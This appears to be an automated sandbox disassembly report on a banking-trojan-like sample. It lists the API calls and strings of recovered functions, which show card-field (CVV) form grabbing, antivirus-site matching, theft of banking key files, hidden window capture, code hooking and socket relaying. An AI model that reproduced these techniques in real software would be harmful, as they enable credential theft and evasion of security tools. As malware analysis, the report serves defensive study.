                                                                                                                                                                                                                      • Instruction ID: 59490e4dec1d3b0b8be877365ed5a315b40f75d7174a31f065cf330fc78b6019
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 18588f084b5fe19cfd73e4ab837450220b9b0560601143f03a364c05fa9f63c2
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0C5181B1FC0315BBFB619FA59C46F9A7BA9AB48B41F108505F700BA2C0DBF0B5108B65
                                                                                                                                                                                                                      Function 026FC690 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 188synchronizationwindowmemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetWindowInfo.USER32(?,?,00000000), ref: 026FC6A5
                                                                                                                                                                                                                        • Part of subcall function 026FDCE0: GetClassNameA.USER32(?,?,00000101), ref: 026FDCF6
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,026FC510,00000000,00000000,00000000,00000000,00000000), ref: 026FC6FE
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 026FC716
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 026FC727
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,00000008,00000014,00000000,00000000), ref: 026FC75E
                                                                                                                                                                                                                      • CreateCompatibleDC.GDI32(?), ref: 026FC76F
                                                                                                                                                                                                                      • CreateCompatibleBitmap.GDI32(?,?,?), ref: 026FC791
                                                                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 026FC79C
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 026FC7AB
                                                                                                                                                                                                                      • RedrawWindow.USER32(?,00000000,00000000,00000485,00000000,00000000), ref: 026FC7C0
                                                                                                                                                                                                                      • SendMessageA.USER32(?,00000086,00000001,00000000), ref: 026FC7D0
                                                                                                                                                                                                                      • GetParent.USER32(?,?,00000000), ref: 026FC7E0
                                                                                                                                                                                                                      • PrintWindow.USER32(00000000), ref: 026FC7E7
                                                                                                                                                                                                                      • DefWindowProcA.USER32(?,00000317,?,0000003E), ref: 026FC7FB
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,000000FF), ref: 026FC806
                                                                                                                                                                                                                      • SetViewportOrgEx.GDI32(?,00000000,00000000,00000000,?,000000FF), ref: 026FC816
                                                                                                                                                                                                                      • BitBlt.GDI32(?,?,?,?,?,?,00000000,00000000,00CC0020,?,000000FF), ref: 026FC860
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,?,000000FF), ref: 026FC869
                                                                                                                                                                                                                      • GetParent.USER32(?,?,00000000), ref: 026FC897
                                                                                                                                                                                                                      • PrintWindow.USER32(00000000), ref: 026FC89E
                                                                                                                                                                                                                      • DefWindowProcA.USER32(?,00000317,?,0000003E), ref: 026FC8B3
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Window$Create$CompatibleHandleMutexObjectParentPrintProc$AllocBitmapClassCloseHeapInfoInformationMessageNameRedrawReleaseSelectSendSingleThreadViewportWait
                                                                                                                                                                                                                      • String ID: <
                                                                                                                                                                                                                      • API String ID: 2445748418-4251816714
                                                                                                                                                                                                                      • Opcode ID: 7c7f2f54db2b111280bf5dacccb3c8ea87a3d33004050ac3a32b73fc6733a412
                                                                                                                                                                                                                      • Instruction ID: 65f3bf8857740ed9cc9fe41797b27b37d9d44745df9fb8f3d021df3aacb22464
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7c7f2f54db2b111280bf5dacccb3c8ea87a3d33004050ac3a32b73fc6733a412
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FA618171E80314AFEB14CB64DD49FAA77B9FB4CB12F508509F605A72C0DBB4A860CB95
                                                                                                                                                                                                                      Function 0270A350 Relevance: 37.7, APIs: 25, Instructions: 190threadmemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32(00000000,00000000,?,02734DD0,0273AE48,000000FF,?,0270A660,00000000,00000000), ref: 0270A376
                                                                                                                                                                                                                      • GetThreadPriority.KERNEL32(00000000,?,0270A660,00000000,00000000,?,?,?,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A37D
                                                                                                                                                                                                                      • GetTickCount.KERNEL32(?,0270A660,00000000,00000000,?,?,?,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A386
                                                                                                                                                                                                                      • VirtualProtect.KERNEL32(0270A660,00000008,00000040,?,?,0270A660,00000000,00000000,?,?,?,?,?,?,027098DA,00000000), ref: 0270A3A7
                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,00000012,00003000,00000040), ref: 0270A3C6
                                                                                                                                                                                                                      • VirtualProtect.KERNEL32(00000000,00000012,00000040,?), ref: 0270A3E2
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000000,00000004), ref: 0270A3F8
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000004,-00000068), ref: 0270A406
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000005,00000000), ref: 0270A411
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000001,-0000009C), ref: 0270A424
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000002,-00000081), ref: 0270A435
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000003,-00000074), ref: 0270A444
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000004,-00000024), ref: 0270A453
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000005,-00000004), ref: 0270A462
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000006,?), ref: 0270A46A
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000002,-0000009D), ref: 0270A47D
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000003,-000000C2), ref: 0270A48E
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000004,-00000004), ref: 0270A49D
                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(00000005,00000000), ref: 0270A4A9
                                                                                                                                                                                                                      • VirtualProtect.KERNEL32(00000005,00000012,?,00000000), ref: 0270A4B3
                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32(00000002), ref: 0270A4BB
                                                                                                                                                                                                                      • SetThreadPriority.KERNEL32(00000000), ref: 0270A4C2
                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32(?), ref: 0270A4FE
                                                                                                                                                                                                                      • SetThreadPriority.KERNEL32(00000000), ref: 0270A505
                                                                                                                                                                                                                      • VirtualProtect.KERNEL32(0270A660,00000008,00000000,0270A660), ref: 0270A51F
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ExchangeInterlocked$Thread$Virtual$Protect$CurrentPriority$AllocCountTick
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2984368831-0
                                                                                                                                                                                                                      • Opcode ID: 8a2e81a3bf66fc5caa4e8e54c5b8a7122a49246bbbd2edb0fef5181393183abe
                                                                                                                                                                                                                      • Instruction ID: fd902f8dfb303e447f03fcdba0ec7065cd4517ec7ebc35d2ddcbbb9a28e01fe3
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8a2e81a3bf66fc5caa4e8e54c5b8a7122a49246bbbd2edb0fef5181393183abe
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5C519271940229EFE710AF74CC46FAE77ACFF49311F158928F982E7180DB7899518BA0
                                                                                                                                                                                                                      Function 0270E3F0 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 145memorystringthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,&cvv=,00000000,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E433
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,&cvv=&,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E441
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,&cvv2=,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E44D
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,&cvv2=&,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E45B
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,&cvc=,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E467
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,&cvc=&,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E479
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,&domain=letitbit.net&,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E48F
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,02739A24,?,02708A44,?,?,?,?,?), ref: 0270E4A2
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,-00000011,?,?,?,?,?,?,?,?,?), ref: 0270E50B
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 0270E512
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,-00000011,?,?,?,?,?,?,?,?,?), ref: 0270E522
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270E580,00000000,00000000,00000000), ref: 0270E548
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270E560
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270E571
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleHeapstrstr$AllocCloseCreateInformationProcessThreadmemset
                                                                                                                                                                                                                      • String ID: &cvc=$&cvc=&$&cvv2=$&cvv2=&$&cvv=$&cvv=&$&domain=letitbit.net&
                                                                                                                                                                                                                      • API String ID: 1632825432-2817208116
                                                                                                                                                                                                                      • Opcode ID: 22974c60138951d7cbf690cdd6d4510a4f1d943a0be4df8b8264ba2e90163492
                                                                                                                                                                                                                      • Instruction ID: 08a6571f7cd8167e768c83de5460bdc6c4c6d6e8a5b9148c52dfae5e3acdb38f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 22974c60138951d7cbf690cdd6d4510a4f1d943a0be4df8b8264ba2e90163492
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1B412B71A41721A7E3134A347C99FAF3BD95F89606F548D21F9C0D71C2EB61C71D82A4
                                                                                                                                                                                                                      Function 02709B20 Relevance: 36.3, APIs: 24, Instructions: 271networkmemorythreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,0000000C), ref: 02709B39
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02709B42
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,0000000C), ref: 02709B4C
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02709B4F
                                                                                                                                                                                                                      • recv.WS2_32(?,?,?,00000000), ref: 02709B75
                                                                                                                                                                                                                      • send.WS2_32(?,02739E4C,00000002,00000000), ref: 02709BCC
                                                                                                                                                                                                                      • send.WS2_32(?,0273E1CC,00000002,00000000), ref: 02709BF2
                                                                                                                                                                                                                      • recv.WS2_32(?,?,00000004,00000000), ref: 02709C18
                                                                                                                                                                                                                      • recv.WS2_32(?,?,00000001,00000000), ref: 02709C92
                                                                                                                                                                                                                      • gethostbyname.WS2_32(00000005), ref: 02709CC7
                                                                                                                                                                                                                      • recv.WS2_32(?,?,00000002,00000000), ref: 02709D0D
                                                                                                                                                                                                                      • recv.WS2_32(?,?,00000004,00000000), ref: 02709D24
                                                                                                                                                                                                                      • inet_ntoa.WS2_32(?), ref: 02709D37
                                                                                                                                                                                                                      • recv.WS2_32(?,?,00000002,00000000), ref: 02709D47
                                                                                                                                                                                                                      • htons.WS2_32(?), ref: 02709D5A
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000005), ref: 02709D67
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02709D6E
                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000001,00000006), ref: 02709D7A
                                                                                                                                                                                                                      • connect.WS2_32(?,?,00000010), ref: 02709D9C
                                                                                                                                                                                                                      • send.WS2_32(?,?,0000000A,00000000), ref: 02709DB6
                                                                                                                                                                                                                      • send.WS2_32(?,?,0000000A,00000000), ref: 02709DD0
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02709970,?,00000000,00000000), ref: 02709DEA
                                                                                                                                                                                                                      • recv.WS2_32(?,?,?,00000000), ref: 02709CBC
                                                                                                                                                                                                                        • Part of subcall function 027098F0: shutdown.WS2_32(?,00000001), ref: 0270990B
                                                                                                                                                                                                                        • Part of subcall function 027098F0: shutdown.WS2_32(027099EC,00000001), ref: 02709910
                                                                                                                                                                                                                        • Part of subcall function 027098F0: recv.WS2_32(027099EC,?,00000400,00000000), ref: 0270992F
                                                                                                                                                                                                                        • Part of subcall function 027098F0: recv.WS2_32(?,?,00000400,00000000), ref: 02709945
                                                                                                                                                                                                                        • Part of subcall function 027098F0: closesocket.WS2_32(?), ref: 02709959
                                                                                                                                                                                                                        • Part of subcall function 027098F0: closesocket.WS2_32(027099EC), ref: 0270995C
                                                                                                                                                                                                                        • Part of subcall function 027098F0: ExitThread.KERNEL32 ref: 02709960
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02709DFC
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: recv$Heap$send$Process$AllocThreadclosesocketshutdown$CloseCreateExitFreeHandleconnectgethostbynamehtonsinet_ntoasocket
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 699211285-0
                                                                                                                                                                                                                      • Opcode ID: 41f5c2c4d83b288d6bdb906677c87e6fef888c9a7328848745272e2c5e221a55
                                                                                                                                                                                                                      • Instruction ID: f7f86a038171f7bbe2bf44ebcd1f7155daea10568281be4052c0716d28b0c4ac
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 41f5c2c4d83b288d6bdb906677c87e6fef888c9a7328848745272e2c5e221a55
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 479193B1644340EEE320EB748CC5F5B7BD9AB88B01F549919F782962C3D7B4E448CB65
                                                                                                                                                                                                                      Function 026F6100 Relevance: 36.1, APIs: 12, Strings: 12, Instructions: 71COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,avast.com,?,?,026F626C), ref: 026F611B
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,kaspersky,?,?,026F626C), ref: 026F612B
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,drweb,?,?,026F626C), ref: 026F6137
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,eset.com,?,?,026F626C), ref: 026F6143
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,antivir,?,?,026F626C), ref: 026F614F
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,avira,?,?,026F626C), ref: 026F615B
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,virustotal,?,?,026F626C), ref: 026F6167
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,virusinfo,?,?,026F626C), ref: 026F6173
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,z-oleg.com,?,?,026F626C), ref: 026F617F
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,trendsecure,?,?,026F626C), ref: 026F618B
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,anti-malware,?,?,026F626C), ref: 026F6197
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,.comodo.com,?,?,026F626C), ref: 026F61A3
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID: .comodo.com$anti-malware$antivir$avast.com$avira$drweb$eset.com$kaspersky$trendsecure$virusinfo$virustotal$z-oleg.com
                                                                                                                                                                                                                      • API String ID: 0-375433535
                                                                                                                                                                                                                      • Opcode ID: 645fea31a7a4cda08e6c9b2d7ffea328067db76a799f1c273b05330158428064
                                                                                                                                                                                                                      • Instruction ID: 92586ad158bd08330492d3739ce077a331ba44d54f79fc4555b45eed2fc4a572
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 645fea31a7a4cda08e6c9b2d7ffea328067db76a799f1c273b05330158428064
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B1017DE2BC2766283E63B17ECC91F5F5ACC0E8FC893810620F625E9207E786C10B0465
                                                                                                                                                                                                                      Function 026F61B0 Relevance: 36.1, APIs: 12, Strings: 12, Instructions: 71COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,avast.com,?,?,026F62EC), ref: 026F61CB
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,kaspersky,?,?,026F62EC), ref: 026F61DB
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,drweb,?,?,026F62EC), ref: 026F61E7
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,eset.com,?,?,026F62EC), ref: 026F61F3
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,antivir,?,?,026F62EC), ref: 026F61FF
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,avira,?,?,026F62EC), ref: 026F620B
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,virustotal,?,?,026F62EC), ref: 026F6217
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,virusinfo,?,?,026F62EC), ref: 026F6223
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,z-oleg.com,?,?,026F62EC), ref: 026F622F
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,trendsecure,?,?,026F62EC), ref: 026F623B
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,anti-malware,?,?,026F62EC), ref: 026F6247
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,.comodo.com,?,?,026F62EC), ref: 026F6253
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID: .comodo.com$anti-malware$antivir$avast.com$avira$drweb$eset.com$kaspersky$trendsecure$virusinfo$virustotal$z-oleg.com
                                                                                                                                                                                                                      • API String ID: 0-375433535
                                                                                                                                                                                                                      • Opcode ID: b040c8697fdc00d088e8744d11db935015eae706fd5116a4f287195f25c5c92d
                                                                                                                                                                                                                      • Instruction ID: 95109f4f34b8e78e8a3c9fd5a3dfa9dd1a6161747b22087cd76b34433e959afe
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b040c8697fdc00d088e8744d11db935015eae706fd5116a4f287195f25c5c92d
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 86017DE238671725BE72312D8CA1F5F578C5ECBC8A3850624FB11F520EF785DA030469
                                                                                                                                                                                                                      Function 026F1000 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 155memorythreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,026F148C,00000000,?), ref: 026F101B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000013,74DEF570,?,026F148C,00000000,?), ref: 026F103E
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,026F148C,00000000,?), ref: 026F1045
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000013,?,026F148C,00000000,?), ref: 026F1055
                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,74DEF570,?,026F148C,00000000,?), ref: 026F1073
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,name.key,00000000,?,026F148C,00000000,?), ref: 026F1093
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02710810,00000000,00000000,00000000,?,026F148C,00000000,?), ref: 026F10B9
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,\secrets.key,?,026F148C,00000000,?), ref: 026F10D5
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,027120D0,00000000,00000000,00000000,?,026F148C,00000000,?), ref: 026F10E5
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,sign.key,?,026F148C,00000000,?), ref: 026F10FD
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02712BB0,00000000,00000000,00000000,?,026F148C,00000000,?), ref: 026F1116
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?,?,026F148C,00000000,?), ref: 026F112A
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,026F148C,00000000,?), ref: 026F113B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,026F148C,00000000,?), ref: 026F1150
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,026F148C,00000000,?), ref: 026F1153
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,026F148C,00000000,?), ref: 026F115F
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,026F148C,00000000,?), ref: 026F1162
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$CreateProcessThread$ByteCharHandleMultiWide$AllocCloseFreeInformationValidatememset
                                                                                                                                                                                                                      • String ID: \secrets.key$name.key$sign.key
                                                                                                                                                                                                                      • API String ID: 3254303593-2345338882
                                                                                                                                                                                                                      • Opcode ID: ae4a13b23c3a12a0e564da88332cad5fe7c1e088e9d4886d609baacf34674763
                                                                                                                                                                                                                      • Instruction ID: cda84e0c5a9635ec480ce381e72e88643a9a73a27501b0f6703ade610d1d615d
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ae4a13b23c3a12a0e564da88332cad5fe7c1e088e9d4886d609baacf34674763
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DE41E771541354FAAB319A669C8CDAF3F7CEFCBFA5B448658FA19A2141DB318801C6B0
                                                                                                                                                                                                                      Function 027110C0 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 192memoryfilestringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2620,?,75BFBF00), ref: 027110F0
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000,?,75BFBF00), ref: 02711131
                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,75BFBF00), ref: 0271113B
                                                                                                                                                                                                                      • #680.SHELL32(?,75BFBF00), ref: 02711143
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 02711154
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000,?,75BFBF00), ref: 0271115B
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,75BFBF00), ref: 0271119A
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(?,?,75BFBF00), ref: 027111A7
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?,?,75BFBF00), ref: 027111F0
                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,00000104,00003000,00000004,?,75BFBF00), ref: 0271120C
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,?,00000104,?,75BFBF00), ref: 02711229
                                                                                                                                                                                                                        • Part of subcall function 02719780: GetProcessHeap.KERNEL32(00000008,00004070,74DE2E60,00000000,74DF0F00,?,02703CE8,?), ref: 02719793
                                                                                                                                                                                                                        • Part of subcall function 02719780: HeapAlloc.KERNEL32(00000000,?,02703CE8,?), ref: 02719796
                                                                                                                                                                                                                        • Part of subcall function 02719780: memset.MSVCRT(00000000,00000000,00004070,?,02703CE8,?), ref: 027197AB
